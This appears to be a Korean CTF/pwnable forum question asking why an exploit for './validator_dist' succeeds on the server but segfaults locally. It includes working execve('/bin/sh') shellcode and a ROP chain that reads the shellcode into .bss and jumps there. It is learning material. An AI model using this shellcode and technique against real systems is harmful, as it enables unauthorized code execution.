완료됨
server에서는 성공했는데, local에서는 안 됩니다.
bss영역에 shellcode를 넣고 마지막에 bss주소로 띄게 하여 shellcode를 획득했습니다.
그런데 서버에 시도했을 때에는 바로 성공하는데, local에서는 계속 SIGSEGV가 납니다.
이것때문에 계속 안 되는줄 알고 삽질했는데, 혹이 이게 왜 그런것일지요?
[*] Process './validator_dist' stopped with exit code -11 (SIGSEGV) (pid 23803)
#pwnable
작성자 정보
답변
3
스택 검사하는 부분은 건너띄고, 아래 payload를 보냈습니다.
shellcode = b"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"
bss = 0x000000000060104b
payload += p64(pop_rdi)
payload += p64(0) # rdi
payload += p64(pop_rsi_r15)
payload += p64(bss) + p64(0) # rsi, r15
payload += p64(pop_rdx)
payload += p64(len(shellcode))
payload += p64(read_plt)
payload += p64(bss)
p.send(payload)
pause()
p.send(shellcode)
p.interactive()